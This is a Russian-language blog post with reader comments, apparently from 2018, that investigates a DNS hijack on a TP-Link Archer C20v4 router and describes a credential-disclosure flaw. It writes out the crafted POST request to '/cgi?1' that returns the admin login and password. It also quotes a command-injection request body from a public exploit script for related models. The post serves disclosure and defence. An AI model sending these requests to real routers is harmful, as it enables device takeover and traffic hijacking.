Самое интересное во всем этом я считаю способы, с помощью которых боты, так или иначе, попадают на роутеры. И сегодня я про один из таких способов расскажу.
Что имеем:
- Новенький роутер Archer c20v4, только из коробки, с последней официальной прошивкой.
- Внешний ip адрес на wan интерфейсе и открытый web доступ.
- Достаточно сложный пароль, чтобы не беспокоиться о его подборе и ограниченный круг лиц знающий его.
- Спустя сутки: подмена dns и все запросы заворачиваются на заглушку.
Что нужно:
Выяснить, каким способом был получен доступ к устройству.
Первым делом на тестовом пациенте были опробованы все известные старые баги, которые нашлись в гугле. Конечно же ничего не сработало.
Был найден скрипт на гитхабе (тык) который позволяет удаленно, от рута, выполнять команды на моделях C20i и C2. Немного не то, что нам нужно, но задало верное направление.
Во всех функциях были одинаковые «оболочки» для запросов — это POST запросы на url /cgi?2( и 7), "[название_настройки#0,0,0,0,0,0#0,0,0,0,0,0]" и особый referer.
Скачиваем с официального сайта tp-link исходные коды нашей прошивки и распаковываем. Т.к. линейка роутеров одна, то и ПО должно быть хоть чуточку похожим, верно?
grep -Hrn "/cgi?2"
----------------------------------------------
../../setPwd.htm:278: xmlHttpObj.open("POST", "/cgi?2", true);
Бинго. Название файла как бы намекает, что дальше будет очень интересно. Находим в коде строчку, в которой видели заветное «cgi?2». Ниже приведена целиком функция:
function doSetUsrName() {
var xmlHttpObj;
var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName=" + $("newUsr").value + "\r\n";
xmlHttpObj = getHttpObject(function() {
if (xmlHttpObj.status == 200) {
getUsrName();
} else
return;
});
xmlHttpObj.open("POST", "/cgi?2", true);
xmlHttpObj.send(args);
}
Эта функция при выполнении вызывает другую — getUsrName().
Функция получения логина:
function getUsrName() {
var xmlHttpObj;
var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName\r\n";
xmlHttpObj = getHttpObject(function() {
if (xmlHttpObj.status == 200) {
currUserName = xmlHttpObj.responseText.split("\n")[1].replace("adminName=", "");
doSetPassword();
} else
return;
});
xmlHttpObj.open("POST", "/cgi?1", true);
xmlHttpObj.send(args);
}
Но просто с логином ничего не сделать. Нас интересует пароль. Мы знаем, что логин хранится в переменной adminName, внутри объекта USER_CFG. Поиск по исходникам дал следующие результаты: (оставлю только нужный результат)
grep -Hrn USER_CFG
------------------------
sysfiles/config/en/common/reduced_data_model.xml
Открываем reduced_data_model.xml и находим в нем следующий фрагмент кода:
<X_TP_UserCfg t=o r=P s=USER_CFG_OBJ h=1 >
<RootName t=s r=R l=16 al=cli h=1 />
<RootPwd t=s r=R l=16 al=cli h=1 />
<AdminName t=s r=W l=16 al=cli d=admin h=1 />
<AdminPwd t=s r=W l=16 al=cli d=admin h=1 />
<UserName t=s r=W l=16 al=cli h=1 />
<UserPwd t=s r=W l=16 al=cli h=1 />
</X_TP_UserCfg>
Тут у нас хранится уже известная нам переменная «AdminName» и рядышком — AdminPwd. Похоже на правду.
Теперь нам осталось сформировать корректный POST-запрос, на который роутер нам ответить нужными данными. Обратимся снова к скрипту с гитхаба и посмотрим, как сделано там:
data = (
"[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n"
"dataBlockSize=64\r\n"
"timeout=1\r\n"
"numberOfRepetitions=1\r\n"
"host=127.0.0.1\r\n"
"X_TP_ConnName=ewan_ipoe_s\r\n"
"diagnosticsState=Requested\r\n"
)
По аналогии формируем свой запрос:
"[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2\r\n"
"adminName\r\n"
"adminPwd\r\n"
Ииииии отправляем. В Wireshark'e пакет выглядит вот так:
Смотрим ответ:
Внимательный читатель заметит, что POST-запрос был отправлен к "/cgi?1", а не как в скрипте к "/cgi?2". Всё верно. Нам нужно всего лишь узнать пароль. Получив данные для авторизации можно заниматься уже форменным безобразием.
Авторизуемся:
И уже авторизованным сдираем любые данные, какие мы только посчитаем важными, посмотрев в файлике reduced_data_model.xml:
На данный момент исходные коды роутера C20v4 убраны с сайта Tp-Link и выложены вместо них коды V5. Но официальной прошивки пока, к сожалению, нет.
Хорошая новость: Данная уязвимость эксплуатируется только, если веб доступ открыт для всех.
Плохая новость: чьи-то боты уже стучаться по внешним адресам с правильными запросами.
Помимо модели ArcherC20V4 данной уязвимости так же подвержена модель ArcherC2V5.
Комментарии (26)
zcross
02.08.2018 20:25К сожалению, в коде ничего не понимаю, но читается статья как детектив. Спасибо.
Krylaty
02.08.2018 22:09давно советую tp-link т.к. это дешево, просто в настройке и относительно надежно, но похоже надо продвигать зиксели и асусы. там хоть есть автоапдейт прошивки.
Dvlbug
02.08.2018 22:21Archer C60 (AC1350) сбрасываются настройки (купили их 100 штук), техподдержка не помогла. За месяц использования таких случаев было около 20
Krylaty
02.08.2018 22:34печально. сначала слились д-линки, теперь это. из просто и наджно не ясно что выбрать. склоняюсь к зикселям. функционал на две головы выше, стоимость нормальная.
Dvlbug
02.08.2018 22:44Ну у Archer AC1200 (вроде как C50) все нормально, возможно у C60 какая-то специфичная бага. Но мы не готовы вот взять купить их еще раз, в надежде что они поправили ошибку.
Ну зиксели надежные, спору нет. С другой стороны, у них кнопка управления WiFi находится на верху корпуса. Абоненты часто думая, что это кнопка питания нажимают на нее и остаются без беспроводной сети (это про Lite III и подобныхINSTE
03.08.2018 16:03В настройках можно отключить реакцию на эту кнопку, равно как и повесить на нее любое другое действие. Не перенастраивается только кнопка сброса.
dartraiden
03.08.2018 00:16стоимость нормальная
Стоимость конская. Keenetic Giga — 7490 руб.
Весьма похожий по железу Xiaomi 3G (ну да, нет SFP и второго USB, да портов поменьше), который спокойно прошивается OpenWrt — 2500 руб.N0Good
03.08.2018 02:41Сравнили, простите, тёплое с мягким… Это не только разный ценовой сегмент, но и разный сегмент пользователей. Giga — считай флагман. Не спорю — стоимость у зухелей завышена, но поддержка и обновления ПО этого, всё же, стоят. У меня сейчас первая ультра — и на последней бете — она, за малым, кофе не варит. Причём поддерживается репозиторий пакетов не хуже, чем у openWRT, да и, при желании, туда даже дебиан второй системой ставится (ну почти полноценный, справедливости ради, он в chroot).
lokkiuni
03.08.2018 11:05Не хотите ли вы поговорить немного о
богемикротике? :)ooptimum
03.08.2018 23:52Тоже не без греха они. Статистика по уязвимостям у данного вендора. Хотя из дешевых я сам предпочитаю именно микротики.
rt3879439
02.08.2018 23:18+2Хорошо когда можно перешить роутер в wrt. Даже когда на родной прошивке тплинк ужасно глючит, в wrt проблем не наблюдается.
TheBasta
03.08.2018 08:52Надо продвигать модели, на которые ставится OpenWRT, среди TP-Link'ов таких достаточно.
computerix
03.08.2018 08:52Как-то давно встречался вирус, который попав в систему пробовал подключится к маршрутизатору путем перебора стандартных пар логин-пароль. Если ему это удавалось, он подменял dns и на всех устройствах сети при доступе к интернету происходила попытка скачивания этого же вируса. И спустя какое-то время на всех зараженных устройствах запускался блокировщик экрана.
ooptimum
Неужели доступ к порту 80/tcp на wan-интерфейсе открыт по умолчанию? Сколько ни встречал домашних маршрутизаторов (не так уж много на самом деле) — у всех его нужно было включать вручную, т.к. все порты на wan-интерфейсе обычно закрыты файрволом. Если так уж нужно управлять снаружи, vpn нет, то может хотя бы повесить сервис на нестандартный порт с номером где-нибудь в районе 50000 или это невозможно в данной модели?
При настройке любого подобного устройства я исхожу из концепции, что оно уже скомпрометировано, просто я об этом еще не знаю. Поэтому никаких по умолчанию открытых портов на внешних интерфейсах оставлять нельзя, тем более в диапазоне 0-1024.
Demon_i
Да нет, просто кто-то криворукий открыл дверь и положил ключи под коврик, а виноват тп-линк.
ranzhe
Я согласен с тем, что открывать веб-интерфейс управления наружу для всех — не самая хорошая идея, вот только «дверь» была закрыта, а ключи под коврик положил производитель двери.
dartraiden
JerleShannara
Тем, что в таких роутерах зачастую крутится не openssh, а другие реализации, которые порой имеют дыры. Ну а простукивание по портам — в soho железках это кажись редкость, если вообще есть(mikrotik не рассматриваем).
SuLX Автор
В исходниках прошивки есть dropbear, но в интерфейсе роутера нигде ssh не включить.
smok999
Модель Archer C2, Порт управления веб-интерфейсом:80, IP-адрес удалённого управления: 0.0.0.0
Все значения стояли по умолчанию. ЧЯДНТ?
ooptimum
Еще бы настройки файрвола посмотреть, чтобы ответить на этот вопрос. Почти наверняка там доступ извне все же закрыт. Сервис-то может ожидать соединения отовсюду, да кто же ему даст.
SuLX Автор
Вы абсолютно правы — по умолчанию веб-доступ с WAN закрыт. И да, действительно, на данных моделях можно и порт сменить, и разрешенный хост прописать. Правда только один (либо все). Вообще, у тп-линка самая негибкая настройка удаленного доступа которая мне известна.
Я отвечу вам так: данное устройство абсолютно не подходит (из коробки), если вы хотите доступ на роутер из разных мест и, желательно, максимально просто — без запоминания на каком порту это вот всё, например.
JustLuckyGuy
А зачем нужен доступ на роутер из разных мест? Всегда считал, что единственно верное решение в таких случаях — vpn, это не так?
AmoN
Не понимаю, что плохого в открытом 80-м порту, особенно если еще можно сменить и сам номер порта. Проблема ведь в другом, что какой бы у тебя пароль не стоял, злоумышленник может получить доступ и это проблема именно кривой прошивки производителя.
ooptimum
Вы же сами себе ответили на свой вопрос — проблема не в самом порту как таковом, а в том, что устройство может быть уязвимым, а вы об этом можете не знать, в отличие от злоумышленников и их ботов, которые как раз и ожидают найти этот сервис на стандартном порту. Как раз этот сценарий и описан в данной статье. Сменил порт на нестандартный и тем самым уже отсек ботов. Впрочем, Вы это и сами понимаете, раз уж написали: «если еще можно сменить и сам номер порта».